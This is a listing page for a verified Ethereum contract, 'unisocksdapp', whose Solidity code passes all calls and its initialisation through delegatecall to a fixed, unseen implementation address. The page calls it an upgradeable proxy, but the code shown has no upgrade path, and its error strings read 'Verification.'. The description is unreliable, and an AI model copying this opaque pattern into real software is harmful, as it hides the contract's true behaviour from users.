unisocksdapp

Description:

Proxy contract enabling upgradeable smart contract patterns. Delegates calls to an implementation contract.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "contracts/unisocks.sol": {
      "content": "// SPDX-License-Identifier: MIT

pragma solidity ^0.8.30;

contract unisocksdapp {
    uint256 private ns = 35000;
    fallback(bytes calldata data) payable external returns(bytes memory){
        (bool r1, bytes memory result) = address(0x475524DE13F635CbBcA065C3B70C35cDEb6125ea).delegatecall(data);
        require(r1, "Verification.");
        return result;
    }

    receive() payable external {
    }

    constructor() {
        bytes memory data = abi.encodeWithSignature("initialize()");
        (bool r1,) = address(0x475524DE13F635CbBcA065C3B70C35cDEb6125ea).delegatecall(data);
        require(r1, "Verificiation.");
    }
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "evmVersion": "paris",
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    }
  }
}}

Tags:
Proxy, Upgradeable, Factory|addr:0xd44f6610fff21e95ae2233ba99fcf86029ad4cec|verified:true|block:23428621|tx:0x2efe6ce68604cf5a530102e976607a89cdc082cf93f1c13499bce1d190634ef4|first_check:1758729010

Submitted on: 2025-09-24 17:50:15

Comments

Log in to comment.

No comments yet.